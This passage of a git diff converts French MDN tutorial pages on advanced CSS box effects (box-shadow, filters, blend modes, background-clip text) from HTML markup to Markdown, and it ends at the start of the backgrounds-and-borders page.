des anciennes versions d'IE pourraient être confrontés à l'absence d'ombres ; donc, testez simplement vos designs pour être sûr que le contenu reste lisible sans ombrage. -<h3 id="Ombre_simple_pour_une_boîte">Ombre simple pour une boîte</h3> +Vous trouverez les exemples de cet article dans le fichier [box-shadow.html](http://mdn.github.io/learning-area/css/styling-boxes/advanced_box_effects/box-shadow.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/advanced_box_effects/box-shadow.html) également). -<p>Débutons avec un exemple simple. D'abord, un peu de HTML :</p> +### Ombre simple pour une boîte +Débutons avec un exemple simple. D'abord, un peu de HTML : -<pre class="brush: html"><article class="simple"> - <p><strong>Attention</strong> : Le thermostat sur le transcendeur cosmique a atteint un niveau critique.</p> -</article></pre> +```html +<article class="simple"> + <p><strong>Attention</strong> : Le thermostat sur le transcendeur cosmique a atteint un niveau critique.</p> +</article> +``` -<p>Puis la CSS:</p> +Puis la CSS: -<pre class="brush: css">p { +```css +p { margin: 0; } @@ -66,34 +76,34 @@ article { .simple { box-shadow: 5px 5px 5px rgba(0,0,0,0.7); -}</pre> - +} +``` -<p>donnent le résultat suivant :</p> +donnent le résultat suivant : -<p>{{ EmbedLiveSample('Ombre_simple_pour_une_boîte', '100%', 100) }}</p> +{{ EmbedLiveSample('Ombre_simple_pour_une_boîte', '100%', 100) }} -<p>Notez les quatre éléments valeur de la propriété <code>box-shadow</code> :</p> +Notez les quatre éléments valeur de la propriété `box-shadow` : -<ol> - <li>La première valeur est la mesure du <strong>décalage horizontal</strong> — distance entre la droite de l'ombre (ou la gauche si négative) et la boîte.</li> - <li>La deuxième valeur est la mesure du <strong>décalage vertical</strong> — distance vers le bas (vers le haut si négative) dont l'ombre est décalée de la boîte.</li> - <li>La troisième valeur est le <strong>rayon de flou</strong> — il représente la « quantité » de flou appliquée à l'ombre.</li> - <li>La valeur de la couleur : <strong>couleur de base</strong> de l'ombre.</li> -</ol> +1. La première valeur est la mesure du **décalage horizontal** — distance entre la droite de l'ombre (ou la gauche si négative) et la boîte. +2. La deuxième valeur est la mesure du **décalage vertical** — distance vers le bas (vers le haut si négative) dont l'ombre est décalée de la boîte. +3. La troisième valeur est le **rayon de flou** — il représente la « quantité » de flou appliquée à l'ombre. +4. La valeur de la couleur : **couleur de base** de l'ombre. -<p>Vous pouvez utiliser toutes unités de longueur et de couleur utiles pour définir ces valeurs.</p> +Vous pouvez utiliser toutes unités de longueur et de couleur utiles pour définir ces valeurs. -<h3 id="Ombres_multiples_pour_une_boîte">Ombres multiples pour une boîte</h3> +### Ombres multiples pour une boîte -<p>Vous pouvez également définir plusieurs ombres de boîtes dans une seule déclaration en les séparant par des virgules :</p> +Vous pouvez également définir plusieurs ombres de boîtes dans une seule déclaration en les séparant par des virgules : -<pre class="brush: html hidden"><article class="multiple"> - <p><strong>Attention</strong> : Le thermostat sur le transcendeur cosmique a atteint un niveau critique.</p> -</article></pre> -</div> +```html hidden +<article class="multiple"> + <p><strong>Attention</strong> : Le thermostat sur le transcendeur cosmique a atteint un niveau critique.</p> +</article> +``` -<pre class="brush: css hidden">p { +```css hidden +p { margin: 0; } @@ -111,23 +121,26 @@ article { 4px 4px 1px red, 5px 5px 1px black, 6px 6px 1px black; } -</pre> +``` -<p>Nous obtenons le résultat suivant :</p> +Nous obtenons le résultat suivant : -<p>{{ EmbedLiveSample('Ombres_multiples_pour_une_boîte', '100%', 100) }}</p> +{{ EmbedLiveSample('Ombres_multiples_pour_une_boîte', '100%', 100) }} -<p>Voici quelque chose d'amusant : nous créons une boîte avec une impression de relief avec plusieurs couches de couleur. Vous pouvez utiliser ce procédé d'autre manière, par exemple pour donner une apparence plus réaliste avec des ombres à partir de plusieurs sources de lumière.</p> +Voici quelque chose d'amusant : nous créons une boîte avec une impression de relief avec plusieurs couches de couleur. Vous pouvez utiliser ce procédé d'autre manière, par exemple pour donner une apparence plus réaliste avec des ombres à partir de plusieurs sources de lumière. -<h3 id="Autres_fonctionnalités_des_ombres_de_boîtes">Autres fonctionnalités des ombres de boîtes</h3> +### Autres fonctionnalités des ombres de boîtes -<p>Contrairement à {{cssxref("text-shadow")}}, {{cssxref("box-shadow")}} dispose du mot‑clé <code>inset</code> — le faire précéder une déclaration d'ombre fera que l'ombre sera interne et non externe. Voyons ce que cela signifie.</p> +Contrairement à {{cssxref("text-shadow")}}, {{cssxref("box-shadow")}} dispose du mot‑clé `inset` — le faire précéder une déclaration d'ombre fera que l'ombre sera interne et non externe. Voyons ce que cela signifie. -<p>D'abord un HTML différent pour cet exemple :</p> +D'abord un HTML différent pour cet exemple : -<pre class="brush: html"><button>Appuyez ici !</button></pre> +```html +<button>Appuyez ici !</button> +``` -<pre class="brush: css">button { +```css +button { width: 150px; font-size: 1.1rem; line-height: 2; @@ -147,39 +160,40 @@ button:active { box-shadow: inset 2px 2px 1px black, inset 2px 3px 5px rgba(0,0,0,0.3), inset -2px -3px 5px rgba(255,255,255,0.5); -}</pre> +} +``` -<p>Et voici le résultat :</p> +Et voici le résultat : -<p>{{ EmbedLiveSample('Autres_fonctionnalités_des_ombres_de_boîtes', '100%', 70) }}</p> +{{ EmbedLiveSample('Autres_fonctionnalités_des_ombres_de_boîtes', '100%', 70) }} -<p>Ici, nous avons mis en place un style de bouton avec des états différents selon qu'il a le focus, qu'il est survolé par le pointeur de souris ou qu'il est actif. Le bouton est doté d'une simple ombre noire définie par défaut, plus deux ombres d'insertion, l'une claire et l'autre sombre, placées sur les coins opposés du bouton pour lui donner un bel effet d'ombrage.</p> +Ici, nous avons mis en place un style de bouton avec des états différents selon qu'il a le focus, qu'il est survolé par le pointeur de souris ou qu'il est actif. Le bouton est doté d'une simple ombre noire définie par défaut, plus deux ombres d'insertion, l'une claire et l'autre sombre, placées sur les coins opposés du bouton pour lui donner un bel effet d'ombrage. -<p>Lorsque le bouton est cliqué, l'état actif entraîne le remplacement de la première ombre de la boîte par une ombre d'insertion très sombre, donnant l'apparence que le bouton est enfoncé.</p> +Lorsque le bouton est cliqué, l'état actif entraîne le remplacement de la première ombre de la boîte par une ombre d'insertion très sombre, donnant l'apparence que le bouton est enfoncé. -<div class="note"> -<p><strong>Note :</strong> il y a un autre élément qui peut être paramétré parmi les valeurs de <code>box-shadow</code> — une autre valeur de longueur peut être facultativement définie juste avant la définition de la couleur : le <strong>rayon de diffusion</strong>. S'il est défini, l'ombre devient plus grande que la boîte originelle. Ce paramètre n'est pas couramment utilisé, mais il est bon de le signaler.</p> -</div> +> **Note :** il y a un autre élément qui peut être paramétré parmi les valeurs de `box-shadow` — une autre valeur de longueur peut être facultativement définie juste avant la définition de la couleur : le **rayon de diffusion**. S'il est défini, l'ombre devient plus grande que la boîte originelle. Ce paramètre n'est pas couramment utilisé, mais il est bon de le signaler. -<h2 id="Filtres">Filtres</h2> +## Filtres -<p>Les filtres des CSS s'appliquent aux éléments de la même manière qu'on applique un filtre à un calque dans un logiciel graphique comme Photoshop. Diverses options différentes sont disponibles : vous pouvez en prendre connaissance plus en détail sur la page de référence {{cssxref("filter")}}. Dans cette section, nous vous expliquons la syntaxe et vous montrons à quel point les résultats peuvent être amusants.</p> +Les filtres des CSS s'appliquent aux éléments de la même manière qu'on applique un filtre à un calque dans un logiciel graphique comme Photoshop. Diverses options différentes sont disponibles : vous pouvez en prendre connaissance plus en détail sur la page de référence {{cssxref("filter")}}. Dans cette section, nous vous expliquons la syntaxe et vous montrons à quel point les résultats peuvent être amusants. -<p>Fondamentalement, un filtre peut être appliqué à n'importe quel élément, bloc ou en ligne — il suffit d'utiliser la propriété <code>filter</code> et lui donner une valeur de fonction de filtrage particulière. Certaines options de filtrage disponibles font des choses tout à fait similaires à d'autres fonctionnalités des CSS, par exemple <code>drop-shadow()</code> fonctionne de manière semblable à {{cssxref("box-shadow")}} ou {{cssxref("text-shadow")}} et donne des effets analogues. Mieux encore, les filtres travaillent sur les formes exactes du contenu à l'intérieur de la boîte, pas seulement la boîte elle-même comme un ensemble. Cela peut donner des choses plus jolies, même si ce n'est pas toujours ce que vous vouliez. Prenons un exemple simple pour illustrer ce qui précède :</p> +Fondamentalement, un filtre peut être appliqué à n'importe quel élément, bloc ou en ligne — il suffit d'utiliser la propriété `filter` et lui donner une valeur de fonction de filtrage particulière. Certaines options de filtrage disponibles font des choses tout à fait similaires à d'autres fonctionnalités des CSS, par exemple `drop-shadow()` fonctionne de manière semblable à {{cssxref("box-shadow")}} ou {{cssxref("text-shadow")}} et donne des effets analogues. Mieux encore, les filtres travaillent sur les formes exactes du contenu à l'intérieur de la boîte, pas seulement la boîte elle-même comme un ensemble. Cela peut donner des choses plus jolies, même si ce n'est pas toujours ce que vous vouliez. Prenons un exemple simple pour illustrer ce qui précède : -<p>Tout d'abord, un HTML simple :</p> +Tout d'abord, un HTML simple : -<pre class="brush: html"><p class="filter">Filtre</p> +```html +<p class="filter">Filtre</p> -<p class="box-shadow">Ombre de boîte</p> -</pre> +<p class="box-shadow">Ombre de boîte</p> +``` -<p>Et maintenant un peu de CSS pour créer une ombre portée à chacun :</p> +Et maintenant un peu de CSS pour créer une ombre portée à chacun : -<pre class="brush: css">p { +```css +p { margin: 1rem auto; padding: 20px; - <code class="language-css">text-align: center</code> ; + text-align: center ; width: 100px; border: 5px dashed red; } @@ -191,56 +205,52 @@ button:active { .box-shadow { box-shadow: 5px 5px 1px rgba(0,0,0,0.7); -}</pre> +} +``` -<p>Vous obtiendrez le résultat suivant :</p> +Vous obtiendrez le résultat suivant : -<p>{{ EmbedLiveSample('Filtres', '100%', 200) }}</p> +{{ EmbedLiveSample('Filtres', '100%', 200) }} -<p>Comme vous pouvez le voir, l'ombre portée obtenue avec le filtre est une réplique de la forme exacte du texte et du tireté de l'encadrement. L'ombre de la boîte est celle du rectangle opaque du conteneur.</p> +Comme vous pouvez le voir, l'ombre portée obtenue avec le filtre est une réplique de la forme exacte du texte et du tireté de l'encadrement. L'ombre de la boîte est celle du rectangle opaque du conteneur. -<p>Quelques autres points à noter :</p> +Quelques autres points à noter : -<ul> - <li>Les filtres sont une fonctionnalité très récente — ils sont pris en charge dans la plupart des navigateurs modernes, y compris Microsoft Edge, mais ils ne sont pas du tout pris en charge dans Internet Explorer. Si vous utilisez des filtres dans vos designs, vous devrez vous assurer que le contenu reste utilisable sans filtres.</li> - <li>Comme vous pouvez le voir, nous avons inclus une version de la propriété <code>filter</code> préfixée par <code>-webkit-</code>. On appelle cela un {{glossary("Vendor Prefix")}} (préfixe fournisseur) : c'est parfois utilisé par un navigateur avant de rendre définitive l'implémentation d'une nouvelle fonctionnalité. Cela permet de la prendre en charge et de l'expérimenter sans entrer en conflit avec la version non préfixée. Les préfixes fournisseur ne sont pas destinés à être utilisés par les développeurs web, mais ils sont parfois utilisés dans les pages de production si ces fonctionnalités expérimentales sont vraiment désirées. Dans notre cas, la version <code>-webkit-</code> de la propriété est actuellement requise pour une prise en charge par Chrome/Safari/Opera, alors que Edge et Firefox utilisent la version finale non préfixée.</li> -</ul> +- Les filtres sont une fonctionnalité très récente — ils sont pris en charge dans la plupart des navigateurs modernes, y compris Microsoft Edge, mais ils ne sont pas du tout pris en charge dans Internet Explorer. Si vous utilisez des filtres dans vos designs, vous devrez vous assurer que le contenu reste utilisable sans filtres. +- Comme vous pouvez le voir, nous avons inclus une version de la propriété `filter` préfixée par `-webkit-`. On appelle cela un {{glossary("Vendor Prefix")}} (préfixe fournisseur) : c'est parfois utilisé par un navigateur avant de rendre définitive l'implémentation d'une nouvelle fonctionnalité. Cela permet de la prendre en charge et de l'expérimenter sans entrer en conflit avec la version non préfixée. Les préfixes fournisseur ne sont pas destinés à être utilisés par les développeurs web, mais ils sont parfois utilisés dans les pages de production si ces fonctionnalités expérimentales sont vraiment désirées. Dans notre cas, la version `-webkit-` de la propriété est actuellement requise pour une prise en charge par Chrome/Safari/Opera, alors que Edge et Firefox utilisent la version finale non préfixée. -<div class="note"> -<p><strong>Note :</strong> Si vous décidez d'utiliser des préfixes dans votre code, assurez-vous d'inclure tous les préfixes requis ainsi que la version non préfixée, afin que le plus grand nombre possible de navigateurs puissent utiliser la fonction, et lorsque les navigateurs abandonneront plus tard les préfixes, ils pourront également utiliser la version non préfixée. Soyez également averti que ces caractéristiques expérimentales pourraient changer, de sorte que votre code pourrait casser. Il est vraiment préférable d'expérimenter avec ces fonctions jusqu'à ce que les préfixes soient supprimés.</p> -</div> +> **Note :** Si vous décidez d'utiliser des préfixes dans votre code, assurez-vous d'inclure tous les préfixes requis ainsi que la version non préfixée, afin que le plus grand nombre possible de navigateurs puissent utiliser la fonction, et lorsque les navigateurs abandonneront plus tard les préfixes, ils pourront également utiliser la version non préfixée. Soyez également averti que ces caractéristiques expérimentales pourraient changer, de sorte que votre code pourrait casser. Il est vraiment préférable d'expérimenter avec ces fonctions jusqu'à ce que les préfixes soient supprimés. -<p>Vous pouvez voir d'autres exemples de filtres sur <a href="http://mdn.github.io/learning-area/css/styling-boxes/advanced_box_effects/filters.html">filters.html</a> (voir aussi le <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/advanced_box_effects/filters.html">code source</a>).</p> +Vous pouvez voir d'autres exemples de filtres sur [filters.html](http://mdn.github.io/learning-area/css/styling-boxes/advanced_box_effects/filters.html) (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/advanced_box_effects/filters.html)). -<h2 id="Modes_de_mélange_de_couleurs">Modes de mélange de couleurs</h2> +## Modes de mélange de couleurs -<p>Les modes de mélanges de couleurs des CSS permettent d'effectuer des combinaisons de formes et de couleurs entre deux éléments superposés — la couleur finale montrée pour chaque pixel est le résultat d'une combinaison de la couleur originale du pixel et de celle du pixel dans le calque de superposition. Ces modes de mélange sont des procédés familiers aux utilisateurs d'applications graphiques comme Photoshop.</p> +Les modes de mélanges de couleurs des CSS permettent d'effectuer des combinaisons de formes et de couleurs entre deux éléments superposés — la couleur finale montrée pour chaque pixel est le résultat d'une combinaison de la couleur originale du pixel et de celle du pixel dans le calque de superposition. Ces modes de mélange sont des procédés familiers aux utilisateurs d'applications graphiques comme Photoshop. -<p>Deux propriétés utilisent les modes de mélange de couleurs dans les CSS :</p> +Deux propriétés utilisent les modes de mélange de couleurs dans les CSS : -<ul> - <li>{{cssxref("background-blend-mode")}} qui mélange plusieurs images d'arrière‑plan et des couleurs sur un seul élément.</li> - <li>{{cssxref("mix-blend-mode")}} qui mélange les couleurs de l'élément auquel la propriété est appliquée avec un élément de superposition — à la fois le fond et le contenu.</li> -</ul> +- {{cssxref("background-blend-mode")}} qui mélange plusieurs images d'arrière‑plan et des couleurs sur un seul élément. +- {{cssxref("mix-blend-mode")}} qui mélange les couleurs de l'élément auquel la propriété est appliquée avec un élément de superposition — à la fois le fond et le contenu. -<p>Vous trouverez beaucoup plus d'exemples de ce qui est disponible à la page <a href="http://mdn.github.io/learning-area/css/styling-boxes/advanced_box_effects/blend-modes.html">blend-modes.html</a> (voir aussi le <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/advanced_box_effects/blend-modes.html">code source</a>) et à la page de référence de {{cssxref("<blend-mode>")}}.</p> +Vous trouverez beaucoup plus d'exemples de ce qui est disponible à la page [blend-modes.html](http://mdn.github.io/learning-area/css/styling-boxes/advanced_box_effects/blend-modes.html) (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/advanced_box_effects/blend-modes.html)) et à la page de référence de {{cssxref("<blend-mode>")}}. -<div class="note"> -<p><strong>Note :</strong> Les modes de mélange sont aussi une toute nouvelle fonctionnalité un petit peu moins bien prise en charge que les filtres. Il n'y a pas de prise en charge encore dans Edge et Safari ne l'accepte que partiellement.</p> -</div> +> **Note :** Les modes de mélange sont aussi une toute nouvelle fonctionnalité un petit peu moins bien prise en charge que les filtres. Il n'y a pas de prise en charge encore dans Edge et Safari ne l'accepte que partiellement. -<h3 id="background-blend-mode">background-blend-mode</h3> +### background-blend-mode -<p>Regardons à nouveau des exemples pour mieux comprendre. D'abord, {{cssxref("background-blend-mode")}} — nous montrons une couple de simples éléments {{htmlelement("div")}} avec lesquels vous pourrez comparer l'original et la version avec mélange de couleurs :</p> +Regardons à nouveau des exemples pour mieux comprendre. D'abord, {{cssxref("background-blend-mode")}} — nous montrons une couple de simples éléments {{htmlelement("div")}} avec lesquels vous pourrez comparer l'original et la version avec mélange de couleurs : -<pre class="brush: html"><div> -</div> -<div class="multiply"> -</div></pre> +```html +<div> +</div> +<div class="multiply"> +</div> +``` -<p>Maintenant la CSS — nous ajoutons aux <code><div></code> une image d'arrière‑plan sur un fond vert :</p> +Maintenant la CSS — nous ajoutons aux `<div>` une image d'arrière‑plan sur un fond vert : -<pre class="brush: css">div { +```css +div { width: 250px; height: 130px; padding: 10px; @@ -252,37 +262,41 @@ button:active { .multiply { background-blend-mode: multiply; -}</pre> +} +``` -<p>Le résultat obtenu est le suivant — à gauche l'original et le mode mélange <code>multiply</code> à droite :</p> +Le résultat obtenu est le suivant — à gauche l'original et le mode mélange `multiply` à droite : -<p>{{ EmbedLiveSample('background-blend-mode', '100%', 200) }}</p> +{{ EmbedLiveSample('background-blend-mode', '100%', 200) }} -<h3 id="mix-blend-mode">mix-blend-mode</h3> +### mix-blend-mode -<p>Voyons maintenant {{cssxref("mix-blend-mode")}}. Nous présentons les deux même <code><div></code>, mais chacun est posé sur un fond mauve pour montrer les effets du mélange :</p> +Voyons maintenant {{cssxref("mix-blend-mode")}}. Nous présentons les deux même `<div>`, mais chacun est posé sur un fond mauve pour montrer les effets du mélange : -<pre class="brush: html"><article> +```html +<article> Mode sans mélange - <div> + <div> - </div> - <div> - </div> -</article> + </div> + <div> + </div> +</article> -<article> +<article> Mélange "multiply" - <div class="multiply-mix"> + <div class="multiply-mix"> - </div> - <div> - </div> -</article></pre> + </div> + <div> + </div> +</article> +``` -<p>Voici la CSS avec laquelle nous stylisons :</p> +Voici la CSS avec laquelle nous stylisons : -<pre class="brush: css">article { +```css +article { width: 280px; height: 180px; margin: 10px; @@ -315,49 +329,48 @@ article div:last-child { .multiply-mix { mix-blend-mode: multiply; -}</pre> +} +``` -<p>Nous obtenons le résultat suivant :</p> +Nous obtenons le résultat suivant : -<p>{{ EmbedLiveSample('mix-blend-mode', '100%', 200) }}</p> +{{ EmbedLiveSample('mix-blend-mode', '100%', 200) }} -<p>Vous voyez ici que <code>mix-blend-mode: multiply;</code> a mélangé non seulement les deux images d'arrière plan, mais également la couleur du <code><div></code> situé dessous.</p> +Vous voyez ici que `mix-blend-mode: multiply;` a mélangé non seulement les deux images d'arrière plan, mais également la couleur du `<div>` situé dessous. -<div class="note"> -<p><strong>Note :</strong> Ne vous inquiétez pas si vous ne saisissez pas certaines propriétés de mise en page telles que {{cssxref("position")}}, {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("z-index")}}, etc. Nous en reparlerons en détail dans le module <a href="/fr/docs/Learn/CSS/CSS_layout">CSS Layout</a>.</p> -</div> +> **Note :** Ne vous inquiétez pas si vous ne saisissez pas certaines propriétés de mise en page telles que {{cssxref("position")}}, {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("z-index")}}, etc. Nous en reparlerons en détail dans le module [CSS Layout](/fr/docs/Learn/CSS/CSS_layout). -<h2 id="-webkit-background-clip_text">-webkit-background-clip: text</h2> +## -webkit-background-clip: text -<p>L'autre fonctionnalité naissante, que nous mentionnons brièvement avant de poursuivre (actuellement prise en charge par Chrome, Safari et Opera, en cours d'implémentation dans Firefox) est la valeur texte pour la propriété {{cssxref("background-clip")}}. Utilisée avec la fonctionnalité propriétaire <code>-webkit-text-fill-color: transparent;</code> cette fonction vous permet de découper les images d'arrière-plan à la forme du texte de l'élément, ce qui donne de jolis effets. Il ne s'agit pas d'une norme officielle, mais elle a été mise en œuvre sur plusieurs navigateurs, car elle est populaire et assez largement utilisée par les développeurs. Utilisées dans ce contexte, les deux propriétés nécessitent un préfixe fournisseur <code>-webkit-</code> même pour les navigateurs non-Webkit/Chrome :</p> +L'autre fonctionnalité naissante, que nous mentionnons brièvement avant de poursuivre (actuellement prise en charge par Chrome, Safari et Opera, en cours d'implémentation dans Firefox) est la valeur texte pour la propriété {{cssxref("background-clip")}}. Utilisée avec la fonctionnalité propriétaire `-webkit-text-fill-color: transparent;` cette fonction vous permet de découper les images d'arrière-plan à la forme du texte de l'élément, ce qui donne de jolis effets. Il ne s'agit pas d'une norme officielle, mais elle a été mise en œuvre sur plusieurs navigateurs, car elle est populaire et assez largement utilisée par les développeurs. Utilisées dans ce contexte, les deux propriétés nécessitent un préfixe fournisseur `-webkit-` même pour les navigateurs non-Webkit/Chrome : -<pre class="brush: css">.text-clip { +```css +.text-clip { -webkit-background-clip: text; -webkit-text-fill-color: transparent; -}</pre> - -<p>Alors pourquoi d'autres navigateurs ont-ils implémenté un préfixe <code>-webkit-</code> ? Principalement pour la compatibilité des navigateurs — tant de développeurs web ont commencé à implémenter des sites web en utilisant le préfixe <code>-webkit-</code> que ces autres navigateurs ont semblé dysfonctionner, alors qu'en fait ils suivaient la norme. Ils ont donc été contraints d'implémenter quelques unes de ces fonctionnalités. Cela met en évidence le danger d'utiliser des fonctionnalités CSS non standard et/ou préfixées dans votre travail — non seulement elles causent des problèmes de compatibilité avec les navigateurs, mais elles sont également sujettes à changement, de sorte que votre code peut casser à tout moment. Il vaut beaucoup mieux s'en tenir aux normes.</p> +} +``` -<p>Si vous voulez utiliser de telles fonctionnalités dans votre travail de production, assurez-vous de tester minutieusement tous les navigateurs et vérifiez que, lorsque ces fonctionnalités ne sont pas prises en charge , le site reste toujours utilisable.</p> +Alors pourquoi d'autres navigateurs ont-ils implémenté un préfixe `-webkit-` ? Principalement pour la compatibilité des navigateurs — tant de développeurs web ont commencé à implémenter des sites web en utilisant le préfixe `-webkit-` que ces autres navigateurs ont semblé dysfonctionner, alors qu'en fait ils suivaient la norme. Ils ont donc été contraints d'implémenter quelques unes de ces fonctionnalités. Cela met en évidence le danger d'utiliser des fonctionnalités CSS non standard et/ou préfixées dans votre travail — non seulement elles causent des problèmes de compatibilité avec les navigateurs, mais elles sont également sujettes à changement, de sorte que votre code peut casser à tout moment. Il vaut beaucoup mieux s'en tenir aux normes. -<div class="note"> -<p><strong>Note :</strong> Pour un exemple de code complet avec <code>-webkit-background-clip: text</code>, allez à la page <a href="http://mdn.github.io/learning-area/css/styling-boxes/advanced_box_effects/background-clip-text.html">background-clip-text.html</a> (voir aussi le <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/advanced_box_effects/background-clip-text.html">code source</a>).</p> -</div> +Si vous voulez utiliser de telles fonctionnalités dans votre travail de production, assurez-vous de tester minutieusement tous les navigateurs et vérifiez que, lorsque ces fonctionnalités ne sont pas prises en charge , le site reste toujours utilisable. -<h2 id="Apprentissage_actif_expérimenter_certains_effets">Apprentissage actif : expérimenter certains effets</h2> +> **Note :** Pour un exemple de code complet avec `-webkit-background-clip: text`, allez à la page [background-clip-text.html](http://mdn.github.io/learning-area/css/styling-boxes/advanced_box_effects/background-clip-text.html) (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/advanced_box_effects/background-clip-text.html)). -<p>À votre tour, maintenant. Pour cet apprentissage actif, nous voulons que vous expérimentiez certains effets que nous avons vus ci-dessus avec le code fourni ci-dessous.</p> +## Apprentissage actif : expérimenter certains effets -<p>Si vous faites une erreur, vous pouvez toujours <em>Réinitialiser</em> l'exemple avec le bouton correspondant.</p> +À votre tour, maintenant. Pour cet apprentissage actif, nous voulons que vous expérimentiez certains effets que nous avons vus ci-dessus avec le code fourni ci-dessous. +Si vous faites une erreur, vous pouvez toujours _Réinitialiser_ l'exemple avec le bouton correspondant. -<pre class="brush: html hidden"><div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> - <h2>Zone de saisie HTML</h2> - <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"><div class="style-me"> -</div></textarea> +```html hidden +<div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> + <h2>Zone de saisie HTML</h2> + <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"><div class="style-me"> +</div></textarea> - <h2>Zone de saisie de la CSS</h2> - <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;">.style-me { + <h2>Zone de saisie de la CSS</h2> + <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;">.style-me { width: 280px; height: 130px; padding: 10px; @@ -366,17 +379,18 @@ article div:last-child { background-color: red; background: url(https://mdn.mozillademos.org/files/13090/colorful-heart.png) no-repeat center 20px, linear-gradient(to bottom right, #f33, #a33); -} </textarea> +} </textarea> - <h2>Zone de rendu</h2> - <div class="output" style="width: 90%;height: 15em;padding: 10px;border: 1px solid #0095dd;overflow:hidden;"></div> - <div class="controls"> - <input id="reset" type="button" value="Réinitialiser" style="margin: 10px 10px 0 0;"> - </div> -</div> -</pre> + <h2>Zone de rendu</h2> + <div class="output" style="width: 90%;height: 15em;padding: 10px;border: 1px solid #0095dd;overflow:hidden;"></div> + <div class="controls"> + <input id="reset" type="button" value="Réinitialiser" style="margin: 10px 10px 0 0;"> + </div> +</div> +``` -<pre class="brush: js hidden">var htmlInput = document.querySelector(".html-input"); +```js hidden +var htmlInput = document.querySelector(".html-input"); var cssInput = document.querySelector(".css-input"); var reset = document.getElementById("reset"); var htmlCode = htmlInput.value; @@ -401,25 +415,22 @@ reset.addEventListener("click", function() { htmlInput.addEventListener("input", drawOutput); cssInput.addEventListener("input", drawOutput); window.addEventListener("load", drawOutput); -</pre> - +``` -<p>{{ EmbedLiveSample('Apprentissage_actif_expérimenter_certains_effets', 700, 820) }}</p> +{{ EmbedLiveSample('Apprentissage_actif_expérimenter_certains_effets', 700, 820) }} -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Nous espérons que vous avez trouvé cet article divertissant — s'amuser avec des jouets brillants l'est généralement et il est toujours intéressant de voir les types d'outils qui viennent d'être mis à disposition dans les navigateurs de pointe. Après avoir atteint la fin des articles sur les styles des boîtes, vous allez tester vos compétences en la matière avec nos évaluations.</p> +Nous espérons que vous avez trouvé cet article divertissant — s'amuser avec des jouets brillants l'est généralement et il est toujours intéressant de voir les types d'outils qui viennent d'être mis à disposition dans les navigateurs de pointe. Après avoir atteint la fin des articles sur les styles des boîtes, vous allez tester vos compétences en la matière avec nos évaluations. -<p>{{PreviousMenuNext("Learn/CSS/Styling_boxes/Styling tables", "Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}</p> +{{PreviousMenuNext("Learn/CSS/Styling_boxes/Styling tables", "Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/Apprendre/CSS/styliser_boites/Box_model_recap">Le modèle de boîte : récapitulatif</a></li> - <li><a href="/fr/Apprendre/CSS/styliser_boites/Backgrounds">Arrière-plans</a></li> - <li><a href="/fr/docs/Apprendre/CSS/styliser_boites/Borders">Encadrements</a></li> - <li><a href="/fr/Apprendre/CSS/styliser_boites/Styling_tables">Mise en page des tableaux</a></li> - <li><a href="/fr/Apprendre/CSS/styliser_boites/Advanced_box_effects">Effets de boîte avancés</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper">Creation d'un en-tête de papier à lettre élégant</a></li> - <li><a href="/fr/Apprendre/CSS/styliser_boites/A_cool_looking_box">Une boîte d'aspect rafraîchissant</a></li> -</ul> +- [Le modèle de boîte : récapitulatif](/fr/Apprendre/CSS/styliser_boites/Box_model_recap) +- [Arrière-plans](/fr/Apprendre/CSS/styliser_boites/Backgrounds) +- [Encadrements](/fr/docs/Apprendre/CSS/styliser_boites/Borders) +- [Mise en page des tableaux](/fr/Apprendre/CSS/styliser_boites/Styling_tables) +- [Effets de boîte avancés](/fr/Apprendre/CSS/styliser_boites/Advanced_box_effects) +- [Creation d'un en-tête de papier à lettre élégant](/fr/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper) +- [Une boîte d'aspect rafraîchissant](/fr/Apprendre/CSS/styliser_boites/A_cool_looking_box) diff --git a/files/fr/learn/css/building_blocks/backgrounds_and_borders/index.md b/files/fr/learn/css/building_blocks/backgrounds_and_borders/index.md index 105df053a6..e8d7882fc1 100644 --- a/files/fr/learn/css/building_blocks/backgrounds_and_borders/index.md +++ b/files/fr/learn/css/building_blocks/backgrounds_and_borders/index.md @@ -4,313 +4,330 @@ slug: Learn/CSS/Building_blocks/Backgrounds_and_borders translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders original_slug: Apprendre/CSS/Building_blocks/Backgrounds_and_borders --- -<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}} -<p>Dans cette leçon, nous verrons quelques-unes des mises en forme créatives autorisées par les bordures et les arrière-plans CSS. On peut ajouter des dégradés, des images de fond, et des coins arrondis, les arrière-plans et les bordures répondent à de nombreux besoins de mise en forme CSS.</p> +Dans cette leçon, nous verrons quelques-unes des mises en forme créatives autorisées par les bordures et les arrière-plans CSS. On peut ajouter des dégradés, des images de fond, et des coins arrondis, les arrière-plans et les bordures répondent à de nombreux besoins de mise en forme 